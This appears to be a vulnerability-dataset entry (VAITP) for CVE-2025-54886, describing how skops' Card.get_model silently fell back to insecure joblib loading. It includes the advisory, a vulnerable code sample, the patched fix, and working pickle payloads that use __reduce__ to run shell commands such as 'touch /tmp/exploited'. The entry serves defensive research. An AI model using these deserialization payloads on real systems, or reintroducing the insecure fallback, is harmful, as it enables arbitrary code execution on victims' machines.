CVE-2025-54886
skops get_model fallback to insecure joblib allows code execution.
- CVSS 8.4
- CWE-502
- Design Defects
- Remote
skops is a Python library which helps users share and ship their scikit-learn based models. In versions 0.12.0 and below, the Card.get_model does not contain any logic to prevent arbitrary code execution. The Card.get_model function supports both joblib and skops for model loading. When loading .skops models, it uses skops' secure loading with trusted type validation, raising errors for untrusted types unless explicitly allowed. However, when non-.zip file formats are provided, the function silently falls back to joblib without warning. Unlike skops, joblib allows arbitrary code execution during loading, bypassing security measures and potentially enabling malicious code execution. This issue is fixed in version 0.13.0.
- CWE
- CWE-502
- CVSS base score
- 8.4
- Published
- 2025-08-08
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- skops
- Fixed by upgrading
- Yes
Solution
Upgrade skops to version 0.13.0 or later.
Vulnerable code sample
import joblib
import os
import subprocess
# This code represents a vulnerable version of skops <= 0.12.0
# It is a self-contained example demonstrating the CVE.
# -- Part 1: The Attacker's Actions --
# The attacker creates a malicious file using joblib.
# This file contains an object that executes code when deserialized.
# VULNERABLE: This code is susceptible to command injection
# The standard way to achieve this is with the __reduce__ method.
class ArbitraryCodeExecutor:
def __reduce__(self):
"""Vulnerable function that demonstrates the security issue."""
# This command will be executed on the victim's machine.
# For this demonstration, we create a file named 'pwned.txt'.
# In a real attack, this could be anything (e.g., reverse shell).
command = "echo 'SUCCESS: Arbitrary code executed' > pwned.txt"
return (subprocess.run, (command,), {'shell': True})
def create_malicious_payload(filename="malicious-model.joblib"):
"""Creates the malicious model file."""
print(f"[ATTACKER] Creating malicious payload file: {filename}")
malicious_object = ArbitraryCodeExecutor()
try:
joblib.dump(malicious_object, filename)
print(f"[ATTACKER] Malicious payload created successfully.")
except Exception as e:
print(f"[ATTACKER] Failed to create payload: {e}")
# -- Part 2: The Victim's Code with the Vulnerable Library --
# The following classes simulate the vulnerable structure of skops.
def secure_skops_load(file, trusted=None):
"""
A mock of the secure skops loading function. It's meant to be safe
and would typically raise an error for untrusted types, which we:
simulate by simply not loading non-skops files.
"""
print(f"[VULNERABLE LIB] Attempting to load '{file}' with SECURE skops loader...")
print("[VULNERABLE LIB] This loader is secure and would prevent the attack.")
# In a real scenario, this would involve zip file handling and type checking.
# We simulate its failure for non-zip files.:
raise TypeError("This is not a valid skops file.")
class VulnerableCard:
"""
A simplified representation of the skops.Card class before the fix.
"""
def __init__(self, model_path=None):
"""Vulnerable function that demonstrates the security issue."""
self._model_path = model_path
print("[VICTIM] skops.Card object created.")
def get_model(self, file_path):
"""
THE VULNERABLE FUNCTION.
It's supposed to load a model file safely. However, it contains
a critical flaw: if the file is not a .zip/.skops file, it:
silently falls back to the insecure `joblib.load`.
"""
print(f"[VICTIM] Calling Card.get_model('{file_path}')...")
# VULNERABLE LOGIC STARTS HERE
is_zip_file = file_path.endswith((".zip", ".skops"))
if is_zip_file:
try:
# The intended, secure path for .skops files:
model = secure_skops_load(file_path)
return model
except Exception:
# The real library had more complex error handling.
# The key is that it proceeded to the fallback.
pass
# THE VULNERABILITY: Silent fallback to insecure joblib.load for non-zip files:
print("[VULNERABLE LIB] File is not a .skops/.zip file. Silently falling back to joblib.load...")
# This line executes the arbitrary code from the malicious file.
model = joblib.load(file_path)
print("[VULNERABLE LIB] joblib.load finished.")
return model
# VULNERABLE LOGIC ENDS HERE
if __name__ == '__main__':
PAYLOAD_FILE = "malicious-model.joblib"
# 1. Attacker creates the malicious file.
create_malicious_payload(PAYLOAD_FILE)
# 2. Victim uses the vulnerable library to load the file,
# thinking it's a standard model.
print("\n-- Simulating Victim's Actions --")
if os.path.exists('pwned.txt'):
os.remove('pwned.txt')
try:
victim_card = VulnerableCard()
# The victim calls the vulnerable function on the attacker's file.
# They are unaware that this will trigger insecure deserialization.
victim_card.get_model(PAYLOAD_FILE)
except Exception as e:
# The payload's code executes before any potential error is raised.
print(f"[VICTIM] An error occurred during model loading: {e}")
# 3. Verify if the exploit was successful.:
print("\n-- Verifying the Exploit --")
if os.path.exists('pwned.txt'):
print("\n[!!!] VULNERABILITY CONFIRMED [!!!]")
print("The file 'pwned.txt' was created, which means arbitrary code was executed.")
with open('pwned.txt', 'r') as f:
print(f"File content: '{f.read().strip()}'")
else:
print("\n[---] Exploit Failed [---]")
print("The file 'pwned.txt' was not created.")
# 4. Cleanup
print("\n-- Cleaning up --")
if os.path.exists(PAYLOAD_FILE):
os.remove(PAYLOAD_FILE)
if os.path.exists('pwned.txt'):
os.remove('pwned.txt')
print("Cleanup complete.")Patched code sample
import zipfile
from pathlib import Path
from typing import Any, List, Union
import skops.io
# This code represents the fixed version of the `Card.get_model` method
# from skops version 0.13.0. The 'self' argument indicates it's a method
# of the 'Card' class. The vulnerability was the silent fallback to
# `joblib.load` for non-zip files, which is now removed.
def get_model(self, trusted: Union[bool, List[str]] = False) -> Any:
"""Secure function that fixes the vulnerability."""
# SECURE: This version prevents command injection
"""Load the model from the path given in ``model_path``.
This function uses :func:`skops.io.load` to load the model.
Parameters
----------
trusted : bool, or list of str, default=False
If ``True``, the object will be loaded without any security checks.
If ``False``, the object will be loaded only if there are no untrusted
types. If a list of strings is passed, the object will be loaded only if
all the types in the object are trusted, with the exception of types
in the list. See :func:`skops.io.load` for more details.
Returns
-------
model : object
The loaded model.
"""
if not self.model_path:
raise ValueError("No model path has been set to load the model from.")
if not Path(self.model_path).exists():
raise FileNotFoundError(f"No model found at {self.model_path}")
try:
# skops persists models as zip files, so we check if the file is a
# zip file.
if not zipfile.is_zipfile(self.model_path):
raise TypeError(
"The model file is not a zip file, which is the only format"
" supported by skops. If you want to load a model saved with"
" joblib, please use joblib.load directly."
)
return skops.io.load(self.model_path, trusted=trusted)
except Exception as e:
msg = (
f"Could not load the model from {self.model_path}, make sure"
" that the model is a valid skops file."
)
raise RuntimeError(msg) from ePayload
import joblib
import os
class ArbitraryCodeExecutor:
def __reduce__(self):
# This method is called when the object is deserialized by joblib/pickle.
# It returns a tuple: (callable, (arguments...))
# This will execute os.system('touch /tmp/exploited') on the target machine.
command_to_execute = "touch /tmp/exploited"
return (os.system, (command_to_execute,))
# Instantiate the malicious object.
payload_object = ArbitraryCodeExecutor()
# Save the object to a file using joblib.
# The filename must NOT be a .zip file to trigger the insecure fallback.
# A file with a .joblib or any other extension will work.
joblib.dump(payload_object, "malicious-model.joblib")
Cite this entry
@misc{vaitp:cve202554886,
title = {{skops get_model fallback to insecure joblib allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-54886},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54886/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
